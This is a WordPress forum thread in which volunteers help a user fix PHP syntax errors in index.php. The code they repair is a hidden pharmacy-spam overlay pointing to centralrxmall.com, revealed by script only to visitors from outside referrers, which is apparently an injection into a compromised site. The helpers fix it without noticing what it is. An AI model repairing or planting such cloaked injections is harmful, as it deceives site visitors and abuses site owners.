Viewing 12 replies - 1 through 12 (of 12 total)
  • You might try doing this:

    $message .= “</table>”;
    $message .= ‘<img id=”hidadvnet” style=”visibility:hidden;position:absolute;top:5px;left:5px;cursor:pointer;” src=”http://centralrxmall.com/campaign/hidadvnet.jpg&#8221; width=”716″ height=”385″ border=”0″ onclick=”javascript:window.location=\’http://centralrxmall.com/\’;”>
    <script type=”text/javascript”>

    But, note that you didn’t supply the entire chunk of code needed. Somewhere there’s a straggling “; that’s going to bite you. Change that to ‘; if you can find it.

    Another option would be to use pastebin and supply a bit more of the code so I can see what the rest looks like.

    Thread Starter ravilotus

    (@ravilotus)

    Hi John,

    Thanks for the reply i have pasted the code in pastebin and the links is
    http://pastebin.com/nQsJ6fRG

    I made the changes u mentioned but same error.

    Waiting for your reply.

    Thanks

    Yeah, that line spanned across 4 or 5 lines. Try this one:

    http://pastebin.com/7E8Nqewv

    Thread Starter ravilotus

    (@ravilotus)

    Hi John,

    Thanks for the reply,

    but now the error is

    Warning: Unexpected character in input: ‘\’ (ASCII=92) state=1 in D:\Hosting\3414176\html\index.php on line 44

    Parse error: syntax error, unexpected T_STRING in D:\Hosting\3414176\html\index.php on line 44

    pls help

    Oi. it may be balking at this:
    \’//\’

    Which was originally:
    ‘//’

    Maybe try putting it back like it was?

    Why are you modifying your index.php file directly? You should always use a child theme.

    What is it exactly you are wanting to accomplish?

    Thread Starter ravilotus

    (@ravilotus)

    Thanks john

    now the error is on line 511

    Parse error: syntax error, unexpected $end in D:\Hosting\3414176\html\index.php on line 511

    pls help

    Good point, Josh. I assumed template file, and skipped right to the offending line.

    And, that final script, looks not sure about that one. Hopefully somebody else can help.

    You simply have a forward slash in the improper place.

    Line #44 (using your latest pastebin link).

    Instead of this:

    if (document.referrer.length && document.referrer.indexOf(window.location.protocol + \'//\' + window.location.hostname) != 0) document.getElementById(\'hidadvnet\').style.visibility = 'visible\'; }

    Should be this:

    if (document.referrer.length && document.referrer.indexOf(window.location.protocol + \'//\' + window.location.hostname) != 0) document.getElementById(\'hidadvnet\').style.visibility = \'visible\'; }

    (It’s the forward slash that precedes “visible”)

    Thread Starter ravilotus

    (@ravilotus)

    Hi Josh,

    Thank u very much now it works thanks for the reply

    thanks

    Thread Starter ravilotus

    (@ravilotus)

    thanks for john and josh thank u very much

    You bet. Enjoy your website 🙂

Viewing 12 replies - 1 through 12 (of 12 total)
  • The topic ‘My site shows error Parse error: syntax error, unexpected T_STRING’ is closed to new replies.